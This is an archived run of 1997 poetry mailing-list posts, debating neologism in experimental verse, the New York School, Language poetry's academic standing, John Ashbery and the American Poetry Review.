Clearly you're right to ask, what are the cultural and political imperatives at work (in neologic word/sound creation)? I think there are probably almost as many answers as there are examples which cd. extend your list. And most of 'em (the examples and the answers) interesting and important...

As a strongly sound-oriented poet myself, for whom meaning and weight arise out of musical verbalization, I believe that (usually coexistent in any given instance with more focused motives) there is the following rather basic imperative:

In our moment a shaking up or loosening up of language-use is a good (or rather, an urgently needed) thing. We're confronted with a literary world most of which still has problems reading a little Gertrude Stein. And they've had long enough to assimilate her! Shaking up the very identity of words shocks the language. It wounds complacency and linguistic transparency. It (among other things) suggests to a reader: you can do these things to language!

Neither the police nor god strike you dead if you do 'em! Language is an ocean with an almost endless number of directions in which you can swim (till voices wake you, and....)

Mark P.

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356. Jordan Davis
No New York
Fri 11 Jul 1997

New York is anybody's who wants to fight for it. Wanna fight? That the New York School came from Boston, Cincinnati, Tulsa, Rochester (NY), Providence, Chicago, Passaic, Bolinas, Needles, Lynn, says _this_ -- New York is (was) a place where people felt comfortable enough to pursue anonymity with all their might. Some of the early ones fleeing fame were too slow to get away from it -- O'Hara (the stars of track and field are beautiful people) became a legend even -- but now the New York school moves quickly enough to ensure that no one will ever hear of it again.

Viva Huh?
J

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357. Franklin Bruno
acadominance & langpo
Fri 11 Jul 1997

I think I agree with the several people who have said that 'acadominant' is an inappropriate term for Langpo, given that other 'schools' have more academic capital and will continue to for some time. (Do you have any idea how -strange- it was when Jed Rasula showed up to teach in my senior year?) I think a better case might be made for 'acadominated,' if you buy the line that the practice 'fits' well with the kinds of theory that have come to prominence in humanities departments in the last two decades. I myself -don't- buy this line, as it supposes that the antecedents for Langpo are mostly European theorists rather than a line of (largely) American poet/critics (i.e. Stein, Coolidge, Creeley). But maybe 'acadominated,' though equally contestable, is closer to what Grunman was getting at in the first place.

fjb

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358. **Franklin Bruno**
ashbery/dewey
Fri 11 Jul 1997

I was gonna guess Dewey on that quote too, but '45 seems a little late... 'No objects' seems an overly easy line to take--saying there aren't any still requires (at least for a philosopher) an account of why we all seem to see them.

It might be interesting to know when JA's first -New Yorker- publications were; before "Self-Portrait In a Convex Mirror" and the forthcoming awards, or after? As for walking the walk, going to the right parties, and having currency in the non-lit artworld, it might be argued that Ashbery's been in it for the long haul and probably had a quiet hand (quieter than O'Hara's) in -making- that the walk, and those the right parties. Lastly, Kenneth Koch hypothesized somewhere (APR?) recently that Ashbery 'got away with' a lot of things because of his tone (and elevated syntax), which fools people on first reading into thinking they're reading something a lot more traditional than it is. Koch was specifically talking about humor, but the same might be said about several aspects of Ashbery's work (shifting pronouns and difficulty of establishing a referent, for example).

And the worst thing about the initials DB are how phallic they look in lowercase.

not the sharpest tool in the shed,
fjb

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359. **cris cheek**
re - 'neologism'?
Fri 11 Jul 1997

Hi, (apologies again for cross-posting)

i've had a couple of requests to cite examples of what i'm getting at under neologism.

I'd been thinking about something like this from P. Inman's 'Red Shift':

'the outfielder broke stride the more i spoke / bottle allowing

a red minus. deadener put to people / leam mound, drut aniline

/ rrung lipstick / bloodied shire total ago / boswell's

shut ink, number bodied mesa / hairline upholstery / brogue

flim (period any mere) / based minuet diminished to a city'

- or of this from Maggie O'Sullivan's 'States of Emergency' (difficult to render accurately here - so, a translation from 'Busk, Pierce'):

'Jagged Pebble Song.
Unlawful
Cliffs
Will, where no Cliffs be.

woundlark.
moochpennybreeze.

O
how the filthy
Keepsakes
Truckle Back Tripling
Ash.
Ink, launjer, red on leash,
BLOOD.
Crooked Swatch(ish,yellow) -----
Fling Flaunden
Sheenies
Quick Poppy Tie of Axe
Drumcut strip strung twists
brooch
&
pen Funerary tabletter, armistice,
Drown!

Keep
Geographies.'

- or Charles Bernstein's 'AZOOT D'PUUND' from 'Poetic Justice':

'iz wurry ray aZoOt de puund in reducey ap crrRisLe
ehk nugkinj sJuxYY senshl.'

- or the language of 'marks' and versions of 'marks' intended to be sounded in Bob Cobbing and Lawrence Upton's 'Domestic Ambient Noise' series (which there's no possibility of including a quotation from here - hmmmm).

I'm also thinking of instances of nation - language and dialect spellings as also 'new' turns of phrase or words taking on 'new' functions.

Yes, we know about transrational 'traditions' and the romance of 'coining' a word or a term. Many neologisms develop out of social interaction - I'm thinking of how inflection turned 'bad' or 'wicked' into 'good' and so on.

Such instances pepper our poetries in these times. Why? What drives them? What are the political and cultural imperatives at work?

love and love
cris

↑ Index

360. L. MacMahon and T.R. Healy

Re: re - 'neologism'?

Fri 11 Jul 1997

---

cris

due to repeated attempts to eliminate sign language among deaf people in Ireland, to take only one country, the language is in a huge state of flux. Dialects can be grouped in terms of age: youth, middle-aged, elderly people may use different ones. There are men's signs, women's signs, Catholic signs, Protestant signs. In many cases there is no consensus as to the "correct" sign for say some new gadget or trend. One response to this is a form of neologism in which a sign is introduced at the start of a section of articulation and its denotation is fingerspelled. After this introduction the sign is used without the spelling support. The life of such neologisms may be only as long as the interaction.

Randolph Healy

At 14:38 11/07/97 -0400, you wrote:
>Cris
>
>Your posting is thoughtful and provacative...
>
>Clearly you're right to ask, what are the cultural and political
>imperatives at work (in neologic word/sound creation)? I think there are
>probably almost as many answers as there are examples which cd. extend
>your list. And most of 'em (the examples and the answers) interesting and
>important...
>
>As a strongly sound-oriented poet myself, for whom meaning and weight
>arise out of musical verbalization, I believe that (usually coexistent in
>any given instance with more focused motives) there is the following
>rather basic imperative:
>
>In our moment a shaking up or loosening up of language-use is a good (or
>rather, an urgently needed) thing. We're confronted with a literary world
>most of which still has problems reading a little Gertrude Stein. And
>they've had long enough to assimilate her! Shaking up the very identity

>of words shocks the language. It wounds complacency and linguistic
>transparency. It (among other things) suggests to a reader: you can do
>these things to language! Neither the police nor god strike you dead if
>you do 'em! Language is an ocean with an almost endless number of
>directions in which you can swim (till voices wake you, and....)
>
>Mark P.
>
>

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361. **Matthias Regan**
Re: Langpo and the ory
Fri 11 Jul 1997

>What kinds of questions are asking? ANd for what reasons?
>
>jittery,
>
>Bennett.
>

As a chief question-asker I have to say the more I've considered it these last few days the more I find myself sharing your feeling of suspicion. I guess the way I would phrase my initial question, to make it less suspcious, would be: "There seems to be a general assumption (is there such an assumption?) that many of those poets "accused" of language poetry have been strongly influenced, compared to their non-langpo brethren, by linguistic, social, political --philosophy. There appear many correspondences, to use THAT word. To what degree can this be said to be true?"

One of the consequences of some of the theoretical work in question is an understanding that perhaps both the poets and the theorists should be viewed primarily as responding to the same social circumstances--rather than directly to each other. Well, I agree with this. BUT I'm looking for names because I've often heard assumed this affinity, poets and theories, but have very rarely seen--I say rarely, by no means never--a poet acknowledge specific insight into any of these theories, let alone describe how her poetry was in response to theoretical work. Knowing this would help suggest possible avenues of study, if only because at the least it would be reassuring to know that so-&-so hand't read such-&-such and so the apparent association must come with reactions to cultural climes. At best would be an instance where a poet or theorist could report how she CHANGED this or

that work by interpreting it.

As for studying the present, that is difficult.

Matthias

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362. **Mark Weiss**
Re: No New York
Fri 11 Jul 1997

Say wa?

At 02:55 PM 7/11/97 -0400, you wrote:
>New York is anybody's who wants to fight for it. Wanna fight? That the New
>York School came from Boston, Cincinnati, Tulsa, Rochester (NY),
>Providence, Chicago, Passaic, Bolinas, Needles, Lynn, says _this_ -- New
>York is (was) a place where people felt comfortable enough to pursue
>anonymity with all their might. Some of the early ones fleeing fame were
>too slow to get away from it -- O'Hara (the stars of track and field are
>beautiful people) became a legend even -- but now the New York school moves
>quickly enough to ensure that no one will ever hear of it again.
>
>Viva Huh?
>J
>
>

↑ Index

363. **Mark Weiss**
Re: ashbery/dewey
Fri 11 Jul 1997

Agreed. On which parties, I once saw Duncan work a potentially hostile academic party. He brought down the house. An amazing performance. After we left he was Robert again.

> *It might be interesting to know when JA's first -New Yorker- publications were; before "Self-Portrait In a Convex Mirror" and the forthcoming awards, or after? As for walking the walk, going to the right parties, and having currency in the non-lit artworld, it might be argued that Ashbery's been in it for the long haul and probably had a quiet hand (quieter than O'Hara's) in -making- that the walk, and those the right parties. Lastly, Kenneth Koch hypothesized somewhere (APR?) recently that Ashbery 'got away with' a lot of things because of his tone (and elevated syntax), which fools people on first reading into thinking they're reading something a lot more traditional*

> *than it is. Koch was specifically talking about humor, but the same might be said about several aspects of Ashbery's work (shifting pronouns and difficulty of establishing a referent, for example).*
>
> *And the worst thing about the initials DB are how phallic they look in lowercase.*
>
> *not the sharpest tool in the shed,*
> *fjb*

↑ Index

364. Bennett M. Sm [Dimpson

Delirious New York

Fri 11 Jul 1997

Right Jordan. It's... where. Bumperstickers talk to him, say "let the stars get in your eyes." And lonely suits bagging in the fumes. When I was missing New York a friend said to me, Why be nostalgic when you can subscribe for less? Flee to enter, pay to come, I do, but is that what's called a life in books? One hears of such things like back roads, but is that in turn what's called a city?

Ears on the mat,
Bennett

On Fri, 11 Jul 1997, Jordan Davis wrote:

> *New York is anybody's who wants to fight for it. Wanna fight? That the New York School came from Boston, Cincinnati, Tulsa, Rochester (NY), Providence, Chicago, Passaic, Bolinas, Needles, Lynn, says _this_ -- New York is (was) a place where people felt comfortable enough to pursue anonymity with all their might. Some of the early ones fleeing fame were too slow to get away from it -- O'Hara (the stars of track and field are beautiful people) became a legend even -- but now the New York school moves quickly enough to ensure that no one will ever hear of it again.*
>
> *Viva Huh?*
> *J*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.

&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

365. Matthias Regan
found poem
Fri 11 Jul 1997

Not exactly a found POEM, but reprinted below is the text of a message I recieved from another E-mail list, X-ACTLY as it appeared. That other list has nothing to do with poetry. I like the form, though, with lines and multiple beginnings and a whispy but not nostalgic ending. Names abbreviated to protect innocence:

With amazing insight K D penned:
~~~~~~~~~~Start_Text~~~~~~~~~~~~~~~~~~~~~~~~~~~
...On Sun, 6 Jul 1997, <~DigitaLpostmodernist~> wrote:
...
...> With amazing insight K D penned:
...> ~~~~~~~~~~Start_Text~~~~~~~~~~~~~~~~~~~~~~~~~~~
...> At 12:51 4/07/97 -0500, D H wrote:
...>
...> Don't forget CP's famous adage that a man who becomes gay gains 20 IQ
...> points, while a woman who does loses 20. I may have the number wrong, but
...> not the formula.
<snip>
...> ...K____
...> ~~~~~~~~~~~End_Text~~~~~~~~~~~~~~~~
...>
...> always thought that
...> a happy person tends
...> to live longer than a
...> sad or depressed bod...
...
...My reply is:
...I'm not sure what you mean by this. Nor how it is connected: seriously,
...really. (Obliqueness seems more a feature of modernism, as does
...earnestness and cynicism. I should know. But this is not a criticism,
...I'm just unsure what you mean.)
...
...K____
~~~~~~~~~~

~~~~~~~~~~~End_Text~~~~~~~~~~~~~~~~~& My Reply is:

hello there comrade,

just a different emphasis
on the word gay

the reply above was in
response to the use of
the word gay designating
a particular sexuality

u c i tend to comment
when asked how i am
feeling that i am rather
gay today

meaning happy and
joyful...

now i wonder if being happy
helps to increase on

↑ Index

366. Alan * Sondheim

Make Money Fast.

Fri 11 Jul 1997

If anyone wants to publish any of my materials hard-copy, please for God's sakes do. At the moment I don't have any viable publishing contacts. The stuff will perish, perhaps thankfully, when files corrode, magnetic dom- ains collapse, hard drives rust. But if you see anything worthwhile either on my homepage or among the things I've sent to the list here, just take it. Make money fast. Keep the rights.

Alan

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted] EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE

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~~~~~~~~~~~

367. **Joel Felix**

Re: Delirious New York

Fri 11 Jul 1997

That'd make New York the frontier, if D.C. Berman is the ref. Hmmm. New York is where you take it. I even have a lighter that reads Paris. Hey Jordan Davis, de donde che? Yr posts these days are better than my poems.

Back to the Atlas--felix

> *Right Jordan. It's... where. Bumperstickers talk to him, say "let the*
> *stars get in your eyes." And lonely*
> *suits bagging in the fumes.*
> *When I was missing New York a friend said to me, Why be nostalgic when you*
> *can subscribe for less? Flee to enter, pay to come, I do, but is that*
> *what's called a life in books? One hears of such things like back roads,*
> *but is that in turn what's called a city?*
>
> *Ears on the mat,*
> *Bennett*
>
> *On Fri, 11 Jul 1997, Jordan Davis wrote:*
>
> *New York is anybody's who wants to fight for it. Wanna fight? That the New*
> *York School came from Boston, Cincinnati, Tulsa, Rochester (NY),*
> *Providence, Chicago, Passaic, Bolinas, Needles, Lynn, says _this_ -- New*
> *York is (was) a place where people felt comfortable enough to pursue*
> *anonymity with all their might. Some of the early ones fleeing fame were*
> *too slow to get away from it -- O'Hara (the stars of track and field are*
> *beautiful people) became a legend even -- but now the New York school moves*
> *quickly enough to ensure that no one will ever hear of it again.*
>
> *Viva Huh?*
> *J*
>
> *&c.&c.&c.&c.&c.&c.&c.&c.*
> *&c.*
> *Bennett Simpson &c.*
> [redacted] *&c.*
> *&c.*
> *&c.&c.&c.&c.&c.&c.&c.&c.*

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368. David Bromige
Readings at Naropa/ dont forget to mention Ashbery
Fri 11 Jul 1997

Thanks, Pat Pritchett, for yet another reading-report from the Buddhist Big Top. When I read these reports, I feel as though I _am_ you. I am sure my response to these various readers would be almost identical--if only that they _have_ been, in former years of reading-going. I am puzzled about one thing, tho, & that is Ed Sanders' gizmos that he fiddled with before reading. Are these Whi.He.My.Ma Gizmos, or Tibetan Buddhist Gizmos, or Gizmos fetched from Woodstock? More on the Gizmos, please. David

++++++++++++

Ever since I read that, during Clinton's visit to Tony Blair, the pair agreed that class war was an out-of-date concern for today's voters, I have wanted only to wage it. Even though I can create the maker of a poem out of my own head (& gizmos) simply by reading his/her poem, perversely I would like to see a lot more analysis or leastwise good gossip on the class (not the 'class') of our poets, starting with, since he's been so much in our news lately, the highly 'classy' John Ashbery. Did he, for isntance, attend a one-gender boarding school? Did he go there on a scholarship? Did he play rugger, or soccer, while there? Stuff like that. (I havent yet read a l l the posts with his name in the header; if this has begun to be covered already, so much the better.)

I agree with someone who remarked that the poetry in the New Yorker has gotten "better" of late. I just wonder, given the world those ads speak of/to, how far this improvement can possibly go?

David

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369. Maria Damon (Maria Damon)
Re: pain...
Fri 11 Jul 1997

---

i'd like to second tom's observations --thanks for your intervention. i've been distressed at the extreme acrimony of many recent threads, some of which feature folks i'm quite fond of at each other's cyberthroats. i'm all for strenuous disagreement, but personal attacks and hyperbolic, bad-faith characterizations of one's opponents seem to be flavoring the proceedings unnecessarily.--md

At 5:02 PM 7/9/97, Tom Mandel wrote:
>I don't know about anyone else, but I'm starting to feel a lot of
>displeasure, pain might be a better word, in reading the list.
>

>I think it's obvious that Kali Tal's POV is significant, that Kim Dawn's
>writing has merit, that Mark Weiss is attacking nobody, that David Bromige
>speaks with large intelligence and generous wit, that Dodie Bellamy writes
>with a gravity and grace unmistakeable, that... I don't want to leave
>anyone out, but I'm sure my point must be clear.
>
>Communities are much easier to tear apart than to build. This one has
>tottered long enough that noone should expect it to be become a stable and
>founded thing, that probably wouldn't be appropriate. But I think it's
>about to fall apart altogether, and I wouldn't like that. This is a selfish
>post, iow.
>
>I hope each of you will think about the most extreme things you want to
>say, or the most dismissive, or even the most profound, and consider
>whether they are true or necessary or a contribution. If you are posting
>long messages three times daily, perhaps you'll even think about cutting
>down to one every day or so. Can you really have that much to say?
>
>I know the tone of this note is avuncular, but I hope it won't be taken as
>patronizing. It's not intended that way. And, I'm no fuddy-duddy (except
>perhaps in using that term!), I've made my points aggressively when I
>thought I had to or just when I was in a mood to or whatever. I'm not done
>either, and I don't ask any of you to be done.
>
>Just, right now, lets think about the list in a larger sense and see
>whether we can find some more productive areas for dialogue. I hope we can.
>
>Tom
>
>Tom Mandel [redacted]
>**********
>Screen Porch * http://screenporch.com
>4031 University Dr. Suite 200 * vox: [redacted]
>Fairfax, VA 22030-3409 * fax: [redacted]
>**********
> Join the Caucus Conversation

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370. **robert drake**
Re: ashbery/dewey
Fri 11 Jul 1997

otherhand, i've read that "p's & q's" stood fr Pints & Quarts-- something about keeping customers' tabs straight in pubs...

lbd

> *... I was told, when I first learned letterpress printing, that the phrase "Mind your p's and q's" came from typesetters, and that it was originally "Mind your p's and q's and b's and d's."...*

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371. **Jacques Debrot**
Re: acadominance & langpo
Fri 11 Jul 1997

It almost goes without saying that the origins of Language writing are over-determined: Stein, Zukofsky, theory, minimalist/conceptual art, the Peace movement, etc, etc. But now that Language writing's phase as an active literary movement has passed (as Mark Wallace, Mark Du Charme and others have recently pointed out in various magazines), the more interesting question seems to me, what next? Or rather, in what context (and for what purposes) are experimentalist poets now using the disjunctive and non-self-expressivist techniques innovated by Language writing? These are forms I myself prefer, but given that no technique is inherently radical, what motivates their use today?

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372. **Thomas Bell**
Re: re - 'neologism'?
Fri 11 Jul 1997

chris, you might want to conside thhe range poems where i think it appears in a pure form for me. there is no intent here (i hope) to do much more than play - which seems simple but has tremendous philosophical and psychological import.

'neologism' seems like only a small part of the larger ?neolanguagism? trend

lp yes but lp made the mistake of trying to make 'play' important - pr, reputation, being known, etc. and then leading to a 'better order'. This list might be the wrong place to say this? I find the same tendencies and probelms sometimes I when respond to a range (trying to be self-important) at it is always disasterous to what comes out.

At 07:40 PM 7/11/97 +0000, cris cheek wrote:
>Hi, (apologies again for cross-posting)
>
>i've had a couple of requests to cite examples of what i'm getting at under
>neologism.
>
>I'd been thinking about something like this from P. Inman's 'Red Shift':
>
>
>'the outfielder broke stride the more i spoke / bottle allowing
>
> a red minus. deadener put to people / leam mound, drut aniline
>
> / rrung lipstick / bloodied shire total ago / boswell's
>
> shut ink, number bodied mesa / hairline upholstery / brogue
>
> flim (period any mere) / based minuet diminished to a city'
>
>
>- or of this from Maggie O'Sullivan's 'States of Emergency' (difficult to
>render accurately here - so, a translation from 'Busk, Pierce'):
>
>'Jagged Pebble Song.
> Unlawful
> Cliffs
> Will, where no Cliffs be.
>
> woundlark.
> moochpennybreeze.
>
>
> O
> how the filthy
> Keepsakes
> Truckle Back Tripling
> Ash.
> Ink, launjer, red on leash,
> BLOOD.
> Crooked Swatch(ish,yellow) -----
> Fling Flaunden
> Sheenies

> Quick Poppy Tie of Axe
> Drumcut strip strung twists
> brooch
> &
> pen Funerary tabletter, armistice,
> Drown!
>
>
>Keep
>Geographies.'
>
>- or Charles Bernstein's 'AZOOT D'PUUND' from 'Poetic Justice':
>
>'iz wurry ray aZoOt de puund in reducey ap crrRisLe
> ehk nugkinj sJuxYY senshl.'
>
>- or the language of 'marks' and versions of 'marks' intended to be
>sounded in Bob Cobbing and Lawrence Upton's 'Domestic Ambient Noise' se-
ries
>(which there's no possibility of including a quotation from here -
>hmmmm).
>
>I'm also thinking of instances of nation - language and dialect spellings
>as also 'new' turns of phrase or words taking on 'new' functions.
>
>Yes, we know about transrational 'traditions' and the romance of 'coining'
>a word or a term. Many neologisms develop out of social interaction - I'm
>thinking of how inflection turned 'bad' or 'wicked' into 'good' and so on.
>
>Such instances pepper our poetries in these times. Why? What drives them?
>What are the political and cultural imperatives at work?
>
>love and love
>cris
>
>

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373. John Tranter
Ashbery facts
Sat 12 Jul 1997

David Bromige wrote:

Even though I can create the maker of a poem out of my own head (& gizmos) simply by reading his/her poem, perversely I would like to see a lot more analysis or leastwise good gossip on the class (not the 'class') of our poets, starting with, since he's been so much in our news lately, the highly 'classy' John Ashbery. Did he, for isntance, attend a one-gender boarding school? Did he go there on a scholarship? Did he play rugger, or soccer, while there? Stuff like that. (I havent yet read a l l the posts with his name in the header; if this has begun to be covered already, so much the better.)

Reply:

Here's a strange autobiographical fact about Mr Ashbery.

As a teenager he made a lot of money and became quite famous as a "quiz kid" on radio, answering questions about art history. Apparently he made a lot of money, got to travel back and forth across the US in a luxury Pullman, famous gallery directors and art connoisseurs would tip their hats to him in hotel lobbies (well, I'm embroidering a little ..) and so forth.

How about that?

» » » » » » » » » » » [redacted] » » » » » »
John Tranter, 39 Short Street, Balmain NSW 2041, Australia
Phone Sydney ([redacted] FAX ([redacted]

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374. Schuchat Simon
Re: No New York
Sat 12 Jul 1997

As not a New Yorker who is usually taken for a New Yorker, I want to applaud Jordan. (I'm not a midwesterner either though I've spent time there, I don't want to revive Maria's thread about Minnesota except to quote Berrigan quoting K Koch that "it must be awfully lonely to be the only surrealist at the University of Minnesota" and to add that, nevertheless, there they are.)

The idea that the only valid "new yorkers" are the various immigrants from offshore, and not the immigrants from the midwest -- who came as often as not in search of a place where they could be sexually free as opposed to seeking more money -- seems reductive, cruel and irrelevant. Yes, the ethnic communities are

part of the vibrant etc etc life of New York, and New York is more than Soho, but the people from Kansas left Kansas.

Would you exclude Melville from New York?

There is a lower-middle class native New York presence in the city that resents (not without reason) the upper middle class arrivistes from other parts of the US via elite schools. But who makes the art? Who consumes the art? Who cares about the art? The ethnic neighborhoods are important for nurturing art, because they are environments where you can pursue your anonymity.

I stand with Jordan.

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375. **Mark Weiss**
Re: No New York
Sat 12 Jul 1997

Hey, this aint a war, or even a serious disagreement. I think what I said was that "the upper middle class arrivistes from other parts of the US via elite schools," as you call them, often don't seriously engage with the city as understood by the rest of the population--it remains an escape and a playground, and all those ethnics a form of exotic stage-dressing. I think this is often true of O'Hara, whose work, let me repeat, I love. But it, and the work of other voluntary internal migrants, often has the feel of expatriate literature--breathlessly excited, but not fully grounded in place. This can be a virtue, but something is also lost. It's not, of course, always the case. I think it matters with what social class the newcomer identifies. Literally graphic examples--two superb etchers, both New Yorkers by adoption, one , John Sloan, depicts the life of early 20th century New York workers and lower middle class with profound sympathy, zero condescension, and apparently total identification, the other, Martin Lewis, focuses on flappers. Sloan's line is as unkempt as his subjects, who visibly have to deal with such things as New York's stifling summers in the days before air conditioning. Lewis' golden girls float above all that, and the elegance of his line mirrors the immunity to everyday burdens of his subjects. His few explorations of Sloan's New York are unconvincing. "But who makes the art? Who consumes the art? Who cares about the art?" Well, me, for one, and a lot of other natives, and a lot of denizens of ethnic neighborhoods. I can supply a list if you need it. Melville, by the way, spent his childhood, until his father's death, in New York city, if I'm not mistaken. But early 19th century migrations in and out of New York were considerably less formative, or liberating, for writers than they became at the end of the century, after New York had grown severalfold and become a world-city, thus radically differentiating itself from a lot of other American locales.

At 01:04 PM 7/12/97 +0800, you wrote:
>As not a New Yorker who is usually taken for a New Yorker, I want to
>applaud Jordan. (I'm not a midwesterner either though I've spent time
>there, I don't want to revive Maria's thread about Minnesota except to
>quote Berrigan quoting K Koch that "it must be awfully lonely to be the
>only surrealist at the University of Minnesota" and to add that,
>nevertheless, there they are.)
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>resents (not without reason) the upper middle class arrivistes from other
>parts of the US via elite schools. But who makes the art? Who consumes
>the art? Who cares about the art? The ethnic neighborhoods are
>important for nurturing art, because they are environments where you can
>pursue your anonymity.
>
>I stand with Jordan.
>
>

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376. **rsillima**
APR, Poultry, etc.
Sat 12 Jul 1997

You're absolutely correct with regards APR's focus on the writing workshop as a central location. In an important fashion, APR is a creation of the literary engines of the 1960s, which of course was the context in which Langpo (or, as Al would have it, Lanpo, which I rather like) first grew up. Poetry, the mag, is a phenomenon from an entirely different era. I don't know what the current numbers are, but throughout much of the 1970s and '80s, APR had a distribution in the 25,000 range in comparison with Poetry's 12,000. Actually, Poetry's circulation climbed substantially once Henry Rago died and they stopped publishing

the likes of Olson, Zukofsky, Duncan and Ronald Johnson. The journal has never been "stronger," but it's still an expression of an earlier era.

(Spicer's poems "For Poetry" in Book of Magazine Verse are aimed at Rago's liberalism, not the neovictorian aesthetic that came later. Spicer seems to have dismissed aesthetic/cultural reactionaries out of hand, saving his wrath for those who attempted to build bridges. Viz the poem to Ginsberg.)

The token inclusion of a Charles Bernstein or Ann Lauterbach in APR has always seemed to me exactly that--a mechanism by which a highly partisan publication can then pretend to be "representative." Another major irritant in APR, during its early years at least, was its appropriation of that name, AMERICAN Poetry Review, rather than say, Open Poetry (or whatever). In the aftermath of Vietnam, people where hypersensitive to the implications of naming (Vietnamization, after all, had involved genocide of Vietnamese people). To use the national adjective both manipulatively and uncritically in the way that APR does is an index of thinking that is as sloppy as it is cynical.

[When I first got here to Philadelphia, I interviewed a young woman for a job at my company who had previously worked as a "screener" for APR. She had not read contemporary poetry of any sort before she obtained the work study position, nor did she intend to once she left it.]

Interestingly, neither Berg nor Vogelsang have used APR as a foundation for any larger socio-aesthetic moves. They're as marginalized as anyone.

Afterthough on Ashbery (example of the non-marginal). I've always read Self-Portrait and the books that immediately followed that as being the most unrelievedly vicious satires on Establishment Verse (with a conscious model in mind, what used to be the typical "Wesleyan" book of the 1960s, one long poem and 12-20 short pieces). I've always been amazed that these were taken up by the very people he was satirizing, almost as if they couldn't see the parody. In this sense, Ashbery is our own Ern Malley.

Ron

On Fri, 11 Jul 1997, David R. Israel wrote:

> *Also: (re: nomenclature & generalization): Much mention has been made of so-called "APR style" or the "APR school." Said journal does, incidentally, publish the likes of Ann Lauterbach, John Yau, Leslie Scalapino, Robert Creeley, Michael Palmer (I think?), Carol Maso (if memory serves), Armand Schwerner, and a good number of others whose writing likely isn't exactly of the sort intended by the perhaps (all-too-)handy perjorative. There may be some bias in evidence, but if I'm not mistaken, the journal is a bit more catholic in its inclusions than recent references might lead one to suppose.*

Well--yes, this has always been an interesting issue. Years ago I was puzzled as to why the classic founder/polemicists of LangPo and other counterstream tendencies made APR their whipping-entity, and not say the venerable Poetry. One reason is that Poetry seems to've been in decline in influence since I was a wee lad in the 1960s, and another is the specific history of APR, which was founded in a way that linked it historically to the MFA-granting poetry workshop/writing program movement. It specifically marketed itself to the writing-workshop milieu, and so many feel that it has helped to perpetuate the blandest free-verse stylings, which often come out of that milieu. I'd readily agree about the counterstream poets they've published over the years. I haven't bothered to pick it up for about three years, but before that saw it pretty regularly for eons--and your list of interesting poets could be extended; I remember fine if small bits of Barbara Guest and Susan Howe. But many folks just feel that the counterstream appearances are pretty infrequent and minor compared to the overwhelming volume of mediocre dreck.

The other point, which I've never seen mentioned, but which I suspect is important, is that APR is just *so* visible and widely available, and so much *intends* to be a popular/populist tabloid presence, that it's bound to be a primarily target, if you have criticisms of the poetry establishment. Its very character makes it a potent influence, capable of perpetuating dominant (ahem) trends; and I believe it *has* functioned to perpetuate dominant trends, most of 'em pretty bad...But yes for most of us it isn't an black-and-white issue. I've always publicly praised them for what openings and support they've given other-streams...

Mark P
atlanta

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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377. **cris cheek**
Re: re - 'neologism'?
Sat 12 Jul 1997

Hi,

thanks Charles for that:
>I imagine these imperatives are as multiple as the people doing such work.
>When such creep or storm into my own work, they are sometimes in part the
>attempt to say the unsayable. They are sometimes a protest against
>normative language restrictions, they are sometimes a barbarian yawp, they
>are sometimes based on existing words, either breaking down into component
>sounds/parts, or in process of forming such sounds/parts, on their way to
>becoming whole and recognizable words. Sometimes they are simply there for
>the physical joy of throat and lips and tongue and cheeks and mind of
>pronouncing the unfamiliar -- related to the pleasure I get in reading Old
>English aloud. Sometimes the intention is much more specific and musical --
>precise consonants and vowels to move the music. And in most instances the
>motivations are quite mixed.

that would be much of my own experience. Of course there are the seemingly 'accurate' word compounds forged by editing fudges and cut paste on the processor and the fumble finger inventions that jerk a line onwards. I need to gut into my bath, I'll be book. Such are the nuts and bolts of facture in our workshops. Then there's the moment at which a decision is taken to leave these neologisms in the writing that is sent out of the house. At those moments are the political and cultural imperatives at play. An 'attempt to say the unsayable' or / an expression of 'protest at normative language restrictions' might simply generate an expletive or reach for a conventionalising expression of it - instead the same generates a word that others might recognise the impulse behind but which has specificities. It only takes one other to begin to employ such specificities for Saussure's brow to begin sweating mighty strange. Yes, such specificities are often context-specific within the music of a ludic phrase.

Aren't such instances of the 'unsayable' highly revealing? What would we want to discuss that we don't have the words for? What do they tell us about our cultural parameters as pre-scribed and inscribed by language?

As Randolph points out in may cases the 'neologism' may only be a long as the interaction (as true for 'reading' as 'signing'). Some constructions though in contemporary poetry, 'if not them, how come?', are in themselves signs, active indexical components within the artifice we speak and ride. Many of the stumbling blocks we cruise present questions that require applications of 'similar' navigational devices. Lang - po has period trademarks that are integral both to

its community formations and their applications - as witness much of the discussion on this list.

There was a sereies of exchanges recently on british poets about words for silence and of how the subtle varieties of silence in other cultures and older regional dialects has become represented in contemporary usage by 'silence'. There are many many examples of similar vernacular impoverishments within English(es) that moderarate our 'conversations'. What lies behind my raising of this 'neologistical' issue is a need to - go the other way. To, as Mark Prejsnar put it, 'wound(s) complacency and linguistic transparency'. Mechanisms for generating this skaning (?) sorry shaking up are a nub we wittle at, poetry is often that residue. Contemporary poetries often seem to offer markers as to the lack of language. That's their sheen.

>chris,
I'm sure what it means that we've been collaborating on the 'ranges' for a couple of years now and when you type my name you still conventionalise it, but that's the flip side of what of what i'm raising, yuo're being ironic
there i take it
> you might want to conside thhe range poems where i think it appears
>in a pure form for me. there is no intent here (i hope) to do much more
>than play - which seems simple but has tremendous philosophical and
>psychological import.

Hi Tom, of course i would and nearly posted a bit of the newest candidates yesterday. I've made reading one of the 'ranges' an integral part of any public sharing of work over the past eighteen months. That's partly because of the mediated collaborative exploration they promote and partly because they often contain aspects of potential term negotiation - as you rightly say in a playful way - but then i'd value play highly.

Here's the very latest 'range' i've received, under subject - 'like a summer with a thousand julys' - should say that Tom, Maria Damon, Gabrielle Welford and Jorge Guitart are all currently active:

> *On Fri, 11 Jul 1997, Jordan Davis wrote:*
>
> *At 7:11 PM +0000 7/10/97, cris cheek wrote:*
> *mater mater everywhere pia dura & i forget*
> *rhythm, If I've got rid of 'em*
> *and that taxidermy, all hail!*
> *to the conger wing stickers*
> *a line if I ever joined one one one*
> *credo nos (jor & jorge) in fluctu eodem esse*
> *joined 111 last year: it's a three digit thing*
> *dermal taxis piloted by imported zopilotls*

